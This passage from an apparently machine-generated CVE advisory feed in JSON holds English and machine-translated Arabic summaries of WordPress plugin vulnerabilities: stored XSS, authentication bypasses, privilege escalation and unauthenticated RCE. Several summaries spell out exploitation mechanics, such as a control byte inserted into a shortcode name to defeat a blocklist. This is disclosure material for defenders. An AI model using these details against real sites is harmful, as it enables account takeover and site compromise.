تصدره الإضافة نفسها داخل كائن JavaScript العام acadlixOptions في كل صفحة واجهة أمامية، مما يخفض متطلبات المصادقة فعليًا إلى دون مصادقة."},"refs":[["https://plugins.trac.wordpress.org/browser/acadlix/tags/1.1.8/includes/Common/Assets/Manager.php#L570","ref"],["https://plugins.trac.wordpress.org/browser/acadlix/tags/1.1.8/includes/Common/REST/Front/FrontQuizController.php#L680","ref"],["https://plugins.trac.wordpress.org/browser/acadlix/tags/1.1.8/includes/Common/REST/Front/FrontQuizController.php#L692","ref"],["https://plugins.trac.wordpress.org/browser/acadlix/tags/1.1.8/includes/Common/REST/Front/FrontQuizController.php#L807","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/b54682f6-914e-4c16-b8fb-63b5dcb14933?source=cve","ref"]],"epss":0.0079,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"acadlix-lms"},{"id":"CVE-2026-110530","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:32Z","product":"radgeek FeedWordPress","affected":[["0 – 2026.0517",null]],"title":{"en":"FeedWordPress <= 2026.0517 - Unauthenticated Stored Cross-Site Scripting via Syndicated Feed Content","ar":"FeedWordPress <= 2026.0517 - برمجة نصية عبر الموقع مخزنة دون مصادقة عبر محتوى التغذية المجمع"},"summary":{"en":"The FeedWordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2026.0517 via syndicated RSS/Atom feed content. The plugin's SyndicatedPost::sanitize_content() function only strips the 'target' attribute (the lines that would strip 'style' and 'on[a-z]+' event-handler attributes are commented out), and SyndicatedPost::insert_post() deliberately removes WordPress's wp_filter_kses and wp_filter_post_kses filters from content_save_pre before persisting imported feed items via wp_insert_post(). This makes it possible for unauthenticated attackers who control an external feed that a site has already subscribed to to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","ar":"إضافة FeedWordPress المخصصة لـ WordPress عرضة للبرمجة النصية عبر الموقع المخزنة في الإصدارات حتى 2026.0517 ضمناً عبر محتوى تغذية RSS/Atom المجمع. تقوم دالة SyndicatedPost::sanitize_content() في الإضافة بإزالة سمة 'target' فقط (بينما يتم التعليق على الأسطر التي تزيل سمات 'style' وسمات معالجة الأحداث 'on[a-z]+')، وتقوم دالة SyndicatedPost::insert_post() بإزالة مرشحات wp_filter_kses وwp_filter_post_kses الخاصة بـ WordPress متعمدةً من content_save_pre قبل استمرار عناصر التغذية المستوردة عبر wp_insert_post(). هذا يجعل من الممكن للمهاجمين دون مصادقة الذين يتحكمون في تغذية خارجية اشترك فيها الموقع مسبقًا حقن شيفرات وسب عشوائية في الصفحات والتي ستنفذ كلما قام المستخدم بالوصول إلى صفحة محقونة."},"refs":[["https://plugins.trac.wordpress.org/browser/feedwordpress/","ref"],["https://plugins.trac.wordpress.org/browser/feedwordpress/tags/2026.0517/syndicatedpost.class.php#L1196","ref"],["https://plugins.trac.wordpress.org/browser/feedwordpress/tags/2026.0517/syndicatedpost.class.php#L1726","ref"],["https://plugins.trac.wordpress.org/browser/feedwordpress/tags/2026.0517/syndicatedpost.class.php#L395","ref"],["https://plugins.trac.wordpress.org/browser/feedwordpress/tags/2026.1016/syndicatedpost.class.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/cad2334c-21f5-40bc-8b08-32c12ce1e077?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"radgeek-feedwordpress"},{"id":"CVE-2026-119096","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:49Z","product":"uncannyowl Uncanny Toolkit for LearnDash","affected":[["0 – 3.8.2",null]],"title":{"en":"Uncanny Toolkit for LearnDash <= 3.8.2 - Unauthenticated Authentication Bypass via 'email' Parameter","ar":"Uncanny Toolkit for LearnDash <= 3.8.2 - تجاوز المصادقة دون مصادقة عبر وسيط 'email'"},"summary":{"en":"The Uncanny Toolkit for LearnDash plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 3.8.2 via the `email` parameter of the `uo_login_action()` function. This is due to a parser-differential flaw in which the plugin's account-verification gate resolves the submitted `email` value using the raw, unsanitized string passed to `get_user_by()`, while the subsequent `wp_signon()` call relies on WordPress core's internal `sanitize_user()` to strip appended junk characters — causing the gate lookup to fail and be skipped entirely while the real account is still resolved and authenticated. This makes it possible for unauthenticated attackers to log in to unverified or administrator-suspended accounts whose credentials they already possess, obtaining a valid `wordpress_logged_in` session cookie and defeating the plugin's account-approval and account-suspension controls. The nonce required to reach the handler is freely obtainable in the same request from the unauthenticated `ult-refresh-nonce` endpoint, making exploitation trivial for any attacker with network access to the site and knowledge of a target account's credentials.","ar":"إضافة Uncanny Toolkit for LearnDash المخصصة لـ WordPress عرضة لتجاوز المصادقة في الإصدارات حتى 3.8.2 ضمناً عبر وسيط `email` الخاص بدالة `uo_login_action()`. يرجع ذلك إلى عيب تفاضلي في المُحلل حيث تحل بوابة التحقق من الحساب الخاصة بالإضافة قيمة `email` المُرسلة باستخدام السلسلة الخام وغير المُطهَّرة المُمررة إلى `get_user_by()`، بينما يعتمد استدعاء `wp_signon()` اللاحق على دالة `sanitize_user()` الداخلية لنواة WordPress لإزالة الأحرف العشوائية المضافة - مما يتسبب في فشل البحث عبر البوابة وتخطيها بالكامل بينما يظل الحساب الحقيقي مُعرَّفًا ومُصادقًا عليه. هذا يجعل من الممكن للمهاجمين دون مصادقة تسجيل الدخول إلى الحسابات غير المُتحقَّق منها أو المُعلَّقة من قِبل المسؤول والتي تتوفر لديهم بيانات اعتمادها بالفعل، مما يحصل على ملف تعريف ارتباط جلسة `wordpress_logged_in` صالح ويهزم ضوابط الموافقة على الحساب وتعليقه الخاصة بالإضافة. يمكن الحصول بحرية على الرمز اللازم للوصول إلى المعالج في نفس الطلب من نقطة النهاية `ult-refresh-nonce` دون مصادقة، مما يجعل الاستغلال تافهًا لأي مهاجم لديه إمكانية الوصول إلى شبكة الموقع ومعرفة بيانات اعتماد الحساب المستهدف."},"refs":[["https://plugins.trac.wordpress.org/browser/uncanny-learndash-toolkit/tags/3.8.2/src/classes/frontend-login-plus.php#L3357","ref"],["https://plugins.trac.wordpress.org/browser/uncanny-learndash-toolkit/tags/3.8.2/src/classes/frontend-login-plus.php#L3446","ref"],["https://plugins.trac.wordpress.org/browser/uncanny-learndash-toolkit/tags/3.8.2/src/classes/frontend-login-plus.php#L3527","ref"],["https://plugins.trac.wordpress.org/browser/uncanny-learndash-toolkit/tags/3.8.2/src/classes/frontend-login-plus.php#L3559","ref"],["https://plugins.trac.wordpress.org/changeset/3773997/uncanny-learndash-toolkit/trunk/src/classes/frontend-login-plus.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/592b61a1-9ac9-4817-b154-1e39e50d8010?source=cve","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"uncannyowl-uncanny-toolkit-for-learndash"},{"id":"CVE-2026-120070","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:49Z","product":"wedevs User Frontend – Membership, User Registration, User Profile, User Directory & C…","affected":[["0 – 4.3.13",null]],"title":{"en":"User Frontend <= 4.3.13 - Authenticated (Subscriber+) Privilege Escalation via post_content Parameter","ar":"User Frontend <= 4.3.13 - تصعيد الصلاحيات للمستخدم المصادق عليه (مشترِك+) عبر وسيط post_content"},"summary":{"en":"The User Frontend – Membership, User Registration, User Profile, User Directory & Content Restriction with Frontend Post Submission plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.3.13 via the `post_content` parameter of the `submit_post()` function. The vulnerability exists because the protected-shortcode blocklist guard inspects the `sanitize_textarea_field()` copy of the submitted `post_content`, while the copy actually persisted to the database is processed through `wp_kses()`, whose `wp_kses_no_null()` step strips C0 control bytes — allowing an attacker to inject a single `\\x01` byte inside the `[wpuf-registration]` tag name to defeat the `strpos()` blocklist check while the clean, functional shortcode is stored verbatim; `strip_shortcodes()` does not neutralize the stored shortcode either, because the Frontend container that registers it via `add_shortcode()` is only instantiated when `is_admin()` is false, and `admin-ajax` requests have `is_admin() === true`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a `[wpuf-registration role=\"editor\"]` shortcode into a published post, causing a live Editor-role registration form to be rendered publicly on the frontend that any visitor — or the attacker themselves — can submit to mint a WordPress Editor account with an immediately active privileged session when the default `autologin_after_registration` setting is enabled.","ar":"إضافة User Frontend – Membership, User Registration, User Profile, User Directory & Content Restriction with Frontend Post Submission المخصصة لـ WordPress عرضة لتصعيد الصلاحيات في جميع الإصدارات حتى 4.3.13 ضمناً عبر وسيط `post_content` الخاص بدالة `submit_post()`. تكمن الثغرة في أن حارس قائمة حظر الرموز القصيرة المحمية يفحص نسخة `sanitize_textarea_field()` من `post_content` المُرسل، بينما تتم معالجة النسخة المُخزنة فعليًا في قاعدة البيانات عبر `wp_kses()`، حيث تقوم خطوة `wp_kses_no_null()` الخاصة بها بإزالة بايات التحكم C0 - مما يسمح للمهاجم بحقن باية `\\x01` واحدة داخل اسم الوسم `[wpuf-registration]` لهزم فحص قائمة الحظر `strpos()` بينما يتم تخزين الرموز القصيرة النظيفة والفعالة حرفياً؛ كما أن `strip_shortcodes()` لا تحيد الرموز القصيرة المُخزنة أيضًا، لأن حاوية الواجهة الأمامية التي تسجلها عبر `add_shortcode()` يتم إنشاؤها فقط عندما تكون `is_admin()` خاطئة، وتكون طلبات `admin-ajax` ذات `is_admin() === true`. هذا يجعل من الممكن للمهاجمين المصادق عليهم، الذين يملكون صلاحيات مستوى المشترِك أو أعلى، حقن رموز قصيرة من نوع `[wpuf-registration role=\"editor\"]` في منشور منشور، مما يتسبب في عرض نموذج تسجيل بدور محرر مباشرة على الواجهة الأمامية والذي يمكن لأي زائر - أو المهاجم نفسه - إرساله لإنشاء حساب محرر في WordPress مع جلسة مميزة نشطة فورًا عند تمكين إعداد `autologin_after_registration` الافتراضي."},"refs":[["https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.3.13/includes/Ajax/Frontend_Form_Ajax.php#L132","ref"],["https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.3.13/includes/Ajax/Frontend_Form_Ajax.php#L253","ref"],["https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.3.13/includes/Frontend/Registration.php#L116","ref"],["https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.3.13/includes/Frontend/Registration.php#L362","ref"],["https://plugins.trac.wordpress.org/changeset/3770255/wp-user-frontend/trunk/includes/Ajax/Frontend_Form_Ajax.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/f84b6767-f254-45c9-8e78-36d4beac2a98?source=cve","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wedevs-user-frontend"},{"id":"CVE-2026-107759","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:48Z","product":"wpo365 WPO365 | MICROSOFT 365 GRAPH MAILER","affected":[["0 – 6.2",null]],"title":{"en":"WPO365 | MICROSOFT 365 GRAPH MAILER <= 6.2 - Unauthenticated Stored Cross-Site Scripting via Email Subject via wp_mail","ar":"WPO365 | MICROSOFT 365 GRAPH MAILER <= 6.2 - برمجة نصية عبر الموقع مخزنة دون مصادقة عبر موضوع البريد الإلكتروني عبر wp_mail"},"summary":{"en":"The WPO365 | MICROSOFT 365 GRAPH MAILER plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Subject (via wp_mail/PHPMailer, e.g. CF7 your-subject)' parameter in all versions up to, and including, 6.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is stored without authentication via any mail-sending feature that forwards a submitter-controlled subject (e.g. a Contact Form 7 form) when the Graph Mailer is enabled but OAuth authorization has not been completed, a default state immediately after plugin activation.","ar":"إضافة WPO365 | MICROSOFT 365 GRAPH MAILER المخصصة لـ WordPress عرضة للبرمجة النصية عبر الموقع المخزنة عبر وسيط 'Subject (via wp_mail/PHPMailer, e.g. CF7 your-subject)' في جميع الإصدارات حتى 6.2 ضمناً بسبب تعقيم المدخلات غير الكافي والهروب من المخرجات. هذا يجعل من الممكن للمهاجمين دون مصادقة حقن شيفرات وسب عشوائية في الصفحات والتي ستنفذ كلما قام المستخدم بالوصول إلى صفحة محقونة. يتم تخزين حمولة الهجوم دون مصادقة عبر أي ميزة إرسال بريد إلكتروني تقوم بإعادة توجيه موضوع يتحكم فيه المُرسِل (مثل نموذج Contact Form 7) عندما يكون Graph Mailer ممكّنًا ولكن لم يتم إكمال تفويض OAuth، وهي حالة افتراضية فور تفعيل الإضافة."},"refs":[["https://plugins.trac.wordpress.org/browser/wpo365-msgraphmailer/tags/6.1/Core/Script_Helpers.php#L142","ref"],["https://plugins.trac.wordpress.org/browser/wpo365-msgraphmailer/tags/6.1/Mail/Mailer.php#L71","ref"],["https://plugins.trac.wordpress.org/browser/wpo365-msgraphmailer/tags/6.1/Services/Ajax_Service.php#L284","ref"],["https://plugins.trac.wordpress.org/browser/wpo365-msgraphmailer/tags/6.1/Services/Log_Service.php#L80","ref"],["https://plugins.trac.wordpress.org/browser/wpo365-msgraphmailer/tags/6.1/apps/dist/wizard-chunk-G9IB6WhS.js#L154","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&old=3752919%40wpo365-msgraphmailer&new=3752919%40wpo365-msgraphmailer","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/d51ba0c2-588d-4241-977a-9649cb77c78e?source=cve","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wpo365"},{"id":"CVE-2026-116512","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:48Z","product":"wedevs Project Manager – AI Powered Project Management, Task Management, Kanban Board…","affected":[["0 – 4.1.1",null]],"title":{"en":"Project Manager <= 4.1.1 - Unauthenticated Remote Code Execution via 'id' Parameter Function Injection","ar":"Project Manager <= 4.1.1 - تنفيذ أوامر عن بُعد دون مصادقة عبر حقن دالة وسيط 'id'"},"summary":{"en":"The Project Manager – AI Powered Project Management, Task Management, Kanban Board & Time Tracker plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.1.1 via the 'id' parameter parameter. This is due to unsanitized 'id' parameter value concatenated directly into the pipe-delimited validation rule string, which is then split and each token invoked as a dynamic PHP function with no allowlist check. This makes it possible for unauthenticated attackers to execute code on the server. This is exploitable by unauthenticated attackers because WordPress core executes the route argument's validate_callback inside WP_REST_Server::dispatch() before the route's permission_callback is invoked, meaning the Project_Manage_Capability authorization gate is never reached on the vulnerable code path.","ar":"إضافة Project Manager – AI Powered Project Management, Task Management, Kanban Board & Time Tracker المخصصة لـ WordPress عرضة لتنفيذ أوامر عن بُعد في جميع الإصدارات حتى 4.1.1 ضمناً عبر وسيط 'id'. يرجع ذلك إلى قيمة وسيط 'id' غير المُطهَّرة والتي يتم دمجها مباشرة في سلسلة قاعدة التحقق المفصولة بأنابيب، والتي يتم تقطيعها بعد ذلك واستدعاء كل رمز كدالة PHP ديناميكية دون أي فحص لقائمة السماح. هذا يجعل من الممكن للمهاجمين دون مصادقة تنفيذ شيفرات على الخادم. يمكن استغلال هذه الثغرة من قبل مهاجمين دون مصادقة لأن نواة WordPress تنفذ validate_callback الخاص بوسيط المسار داخل WP_REST_Server::dispatch() قبل استدعاء permission_callback الخاص بالمسار، مما يعني عدم الوصول أبدًا إلى بوابة تفويض Project_Manage_Capability على مسار الرمز المعرض للخطر."},"refs":[["https://plugins.trac.wordpress.org/browser/wedevs-project-manager/tags/4.1.1/core/Router/WP_Router.php#L429","ref"],["https://plugins.trac.wordpress.org/browser/wedevs-project-manager/tags/4.1.1/core/Validator/Abstract_Validator.php#L156","ref"],["https://plugins.trac.wordpress.org/browser/wedevs-project-manager/tags/4.1.1/src/Project/Validators/Update_Project.php#L25","ref"],["https://plugins.trac.wordpress.org/changeset/3772103/wedevs-project-manager/trunk/core/Validator/Abstract_Validator.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/d3e300b3-39cc-4681-a8e8-02d9743f97ff?source=cve","ref"]],"epss":0.0058,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wedevs-project-manager"},{"id":"CVE-2026-118057","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:48Z","product":"paultgoodchild Shield Security – Smart Bot Blocking, Brute-Force Login Protection & File Scann…","affected":[["0 – 22.3.2",null]],"title":{"en":"Shield Security <= 22.3.2 - Unauthenticated Stored Cross-Site Scripting via Request Path (REQUEST_URI) in Traffic Log","ar":"Shield Security <= 22.3.2 - برمجة نصية عبر الموقع مخزنة دون مصادقة عبر مسار الطلب (REQUEST_URI) في سجل حركة المرور"},"summary":{"en":"The Shield Security – Smart Bot Blocking, Brute-Force Login Protection & File Scanning plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'REQUEST_URI' parameter in all versions up to, and including, 22.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The hidden 'path' column in ForTraffic.php lacks a client-side render function, so DataTables builds its cell via innerHTML, causing stored HTML in the path value to be parsed into live DOM nodes; a prior partial fix in version 18.5.8 added esc_html() only to the visible 'page' column, leaving the hidden 'path' field unescaped and exploitable through version 22.2.6.","ar":"إضافة Shield Security – Smart Bot Blocking, Brute-Force Login Protection & File Scanning المخصصة لـ WordPress عرضة للبرمجة النصية عبر الموقع المخزنة عبر وسيط 'REQUEST_URI' في جميع الإصدارات حتى 22.3.2 ضمناً بسبب تعقيم المدخلات غير الكافي والهروب من المخرجات. هذا يجعل من الممكن للمهاجمين دون مصادقة حقن شيفرات وسب عشوائية في الصفحات والتي ستنفذ كلما قام المستخدم بالوصول إلى صفحة محقونة. يفتقر عمود 'path' المخفي في ForTraffic.php إلى دالة عرض على جانب العميل، لذا يقوم DataTables بنسج خليته عبر innerHTML، مما يتسبب في تحليل HTML المخزن في قيمة المسار إلى عقد DOM حية؛ أضاف إصلاح جزئي سابق في الإصدار 18.5.8 دالة esc_html() فقط إلى عمود 'page' المرئي، مما ترك حقل 'path' المخفي دون هروب وقابلاً للاستغلال حتى الإصدار 22.2.6."},"refs":[["https://plugins.trac.wordpress.org/browser/wp-simple-firewall/tags/22.2.6/src/Logging/Processors/RequestMetaProcessor.php#L104","ref"],["https://plugins.trac.wordpress.org/browser/wp-simple-firewall/tags/22.2.6/src/Logging/Processors/RequestMetaProcessor.php#L28","ref"],["https://plugins.trac.wordpress.org/browser/wp-simple-firewall/tags/22.2.6/src/Tables/DataTables/Build/ForTraffic.php#L129","ref"],["https://plugins.trac.wordpress.org/browser/wp-simple-firewall/tags/22.2.6/src/Tables/DataTables/LoadData/Traffic/BuildTrafficTableData.php#L67","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&new=3769612%40wp-simple-firewall%2Ftags%2F22.3.4&old=3768418%40wp-simple-firewall%2Ftags%2F22.3.2","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/3781bf74-541a-4dfb-a058-1a9ea6aa970e?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"paultgoodchild-shield-security"},{"id":"CVE-2026-103898","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:47Z","product":"roxnor Wp Social Login and Register Social Counter","affected":[["0 – 3.2.2",null]],"title":{"en":"Wp Social Login and Register Social Counter <= 3.2.2 - Unauthenticated Authentication Bypass via Insufficient Email Verification in Social Login Callback","ar":"Wp Social Login and Register Social Counter <= 3.2.2 - تجاوز المصادقة دون مصادقة عبر التحقق غير الكافي من البريد الإلكتروني في رد اتصال تسجيل الدخول الاجتماعي"},"summary":{"en":"The Wp Social Login and Register Social Counter plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 3.2.2. This is due to the social login REST callback registered at `/wp-json/wslu-social-login/type/{provider}/` with `permission_callback => __return_true` locating an existing WordPress account solely by the email string returned from the OAuth provider and calling `wp_set_auth_cookie()` without a password check, while the only verification guard — `!empty($getProfile->emailVerified)` in `inc/admin-create-user.php` — is a no-op for the bundled Hybridauth Facebook and Twitter adapters, both of which assign the raw email string rather than a boolean verified flag to `emailVerified`. This makes it possible for unauthenticated attackers to obtain a fully authenticated session as any existing WordPress user, including Administrators, whose registered email address can be presented through a configured Facebook or Twitter login on the target site. Exploitation requires only that the attacker control an OAuth account whose provider-returned email matches the target account's registered WordPress email address; no local credentials, nonce, or prior foothold is needed.","ar":"إضافة Wp Social Login and Register Social Counter المخصصة لـ WordPress عرضة لتجاوز المصادقة في جميع الإصدارات حتى 3.2.2 ضمناً. يرجع ذلك إلى رد اتصال REST الخاص بتسجيل الدخول الاجتماعي المسجل عند `\\/wp-json\\/wslu-social-login\\/type\\/{provider}\\/` مع `permission_callback => __return_true` والذي يحدد موقع حساب WordPress موجود فقط بواسطة سلسلة البريد الإلكتروني المُرجعة من موفر OAuth ويستدعي `wp_set_auth_cookie()` دون فحص كلمة المرور، بينما يكون حارس التحقق الوحيد — `!empty($getProfile->emailVerified)` في `inc\\/admin-create-user.php` — عملية فارغة لمحولات Facebook وTwitter المضمنة في Hybridauth، وكلاهما يُعيّن سلسلة البريد الإلكتروني الخام بدلاً من علامة تحقق منطقية إلى `emailVerified`. هذا يجعل من الممكن للمهاجمين دون مصادقة الحصول على جلسة مصادقة بالكامل كأي مستخدم موجود في WordPress، بما في ذلك المسؤولين، والتي يمكن تقديم عنوان بريدهم الإلكتروني المسجل من خلال تسجيل دخول Facebook أو Twitter مُكوَّن على الموقع المستهدف. يتطلب الاستغلال فقط أن يتحكم المهاجم في حساب OAuth يتطابق البريد الإلكتروني المُرجع من موفره مع البريد الإلكتروني المسجل للحساب المستهدف في WordPress؛ ولا يلزم وجود بيانات اعتماد محلية، أو رمز، أو موطئ قدم سابق."},"refs":[["https://plugins.trac.wordpress.org/browser/wp-social/tags/3.2.1/inc/admin-create-user.php#L172","ref"],["https://plugins.trac.wordpress.org/browser/wp-social/tags/3.2.1/inc/admin-create-user.php#L229","ref"],["https://plugins.trac.wordpress.org/browser/wp-social/tags/3.2.1/inc/admin-create-user.php#L512","ref"],["https://plugins.trac.wordpress.org/browser/wp-social/tags/3.2.1/inc/admin-rest-api.php#L46","ref"],["https://plugins.trac.wordpress.org/browser/wp-social/tags/3.2.1/lib/composer/vendor/hybridauth/hybridauth/src/Provider/Facebook.php#L205","ref"],["https://plugins.trac.wordpress.org/browser/wp-social/tags/3.2.1/lib/composer/vendor/hybridauth/hybridauth/src/Provider/Twitter.php#L102","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&old=3752566%40wp-social&new=3752566%40wp-social","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/e961d3db-da5e-4bde-ae7e-04e6ba3ebef4?source=cve","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"roxnor-wp-social-login-and-register-social-counter"},{"id":"CVE-2026-104012","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T08:16:47Z","product":"roxnor Rox Appointment Booking – Event, Calendar & Appointment Scheduling","affected":[["0 – 1.3.1",null]],"title":{"en":"Rox Appointment Booking <= 1.3.1 - Unauthenticated Privilege Escalation via Mass Assignment to Mass Assignment via '/public/booking' Endpoint","ar":"Rox Appointment Booking <= 1.3.1 - تصعيد الصلاحيات دون مصادقة عبر التعيين الشامل إلى التعيين الشامل عبر نقطة النهاية '\\/public\\/booking'"},"summary":{"en":"The Rox Appointment Booking – Appointment Booking Scheduling Solution plugin for WordPress is vulnerable to Privilege Escalation via Mass Assignment in all versions up to, and including, 1.3.1 This is due to the public `/rox-appointment-booking/v1/public/booking` REST endpoint performing mass-assignment of the raw request body into a new customer row while `CustomerModel::$fillable` includes the internal `wp_user_id` column, allowing an unauthenticated attacker to persist an arbitrary WordPress user ID alongside an attacker-controlled email address with no authorization check. When an administrator subsequently opens the poisoned customer record and clicks Update Customer, `SaveCustomer::handleRequest()` passes the stored `wp_user_id` and attacker-supplied email to `wp_update_user()` — succeeding because `LinkedAccount::canChange()` unconditionally returns true when the acting user holds the `edit_users` capability — thereby overwriting the targeted administrator's email address and enabling full account takeover via a standard WordPress password-reset request. Successful exploitation requires an administrator to open and save the poisoned record, and the attacker must know or guess a valid administrator user ID (such as the default user ID 1).","ar":"إضافة Rox Appointment Booking – Appointment Booking Scheduling Solution المخصصة لـ WordPress عرضة لتصعيد الصلاحيات عبر التعيين الشامل في جميع الإصدارات حتى 1.3.1 ضمناً. يرجع ذلك إلى قيام نقطة نهاية REST العامة `\\/rox-appointment-booking\\/v1\\/public\\/booking` بتنفيذ تعيين شامل لنصف نص الطلب الخام في صف جديد للعملاء بينما يتضمن `CustomerModel::$fillable` عمود `wp_user_id` الداخلي، مما يسمح لمهاجم دون مصادقة بالاحتفاظ بمعرف مستخدم WordPress عشوائي جنباً إلى جنب مع عنوان بريد إلكتروني يتحكم فيه المهاجم دون أي فحص للصلاحيات. عندما يفتح المسؤول لاحقاً سجل العميل المسمم ويقرر تحديث العميل، يقوم `SaveCustomer::handleRequest()` تمرير `wp_user_id` المخزن وبريد إلكتروني يوفره المهاجم إلى `wp_update_user()` — بنجاح لأن `LinkedAccount::canChange()` يُرجع بلا شروط صح عندما يحمل المستخدم الفاعل صلاحية `edit_users` — وبالتالي الكتابة فوق عنوان البريد الإلكتروني للمسؤول المستهدف وتمكين الاستحواذ الكامل على الحساب عبر طلب إعادة تعيين كلمة مرور WordPress القياسي. يتطلب الاستغلال الناجح فتح المسؤول وحفظ السجل المسمم، ويجب على المهاجم معرفة أو تخمين معرف مستخدم مسؤول صالح (مثل معرف المستخدم الافتراضي 1)."},"refs":[["https://downloads.wordpress.org/plugin/rox-appointment-booking.1.3.2.zip","ref"],["https://plugins.trac.wordpress.org/browser/rox-appointment-booking/tags/1.3.0/src/Modules/Customer/Data/CustomerModel.php#L38","ref"],["https://plugins.trac.wordpress.org/browser/rox-appointment-booking/tags/1.3.0/src/Modules/Customer/REST/SaveCustomer.php#L262","ref"],["https://plugins.trac.wordpress.org/browser/rox-appointment-booking/tags/1.3.0/src/Modules/FrontendBookingPanel/REST/BookingConfirm.php#L61","ref"],["https://plugins.trac.wordpress.org/browser/rox-appointment-booking/tags/1.3.0/src/Modules/FrontendBookingPanel/Services/CustomerService.php#L74","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/2a32f428-fa6e-469b-b004-e80a1029af80?source=cve","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"roxnor-rox-appointment-booking"},{"id":"CVE-2026-120040","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:37Z","product":"wardee Mail logging & Catcher","affected":[["0 – 2.2.0",null]],"title":{"en":"Mail logging & Catcher <= 2.2.0 - Authenticated (Subscriber+) Sensitive Information Exposure to Privilege Escalation to Mail Log Viewer / Password-Reset Email Disclosure","ar":"Mail logging & Catcher <= 2.2.0 - كشف المعلومات الحساسة للمستخدم المصادق عليه (مشترِك+) إلى تصعيد الصلاحيات إلى عارض سجل البريد / كشف بريد إعادة تعيين كلمة المرور"},"summary":{"en":"The Mail logging & Catcher plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.0 via the 'message' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract valid administrator password-reset keys from stored email logs and complete the WordPress password-reset flow to escalate privileges to administrator. Exploitation requires an administrator to have previously configured the plugin's default_view_role setting to a capability held by low-privileged users such as 'read'; on an untouched install the default of 'manage_options' restricts log access to administrators only.","ar":"إضافة Mail logging & Catcher المخصصة لـ WordPress عرضة لكشف المعلومات الحساسة في جميع الإصدارات حتى 2.2.0 ضمناً عبر وسيط 'message'. هذا يجعل من الممكن للمهاجمين المصادق عليهم، 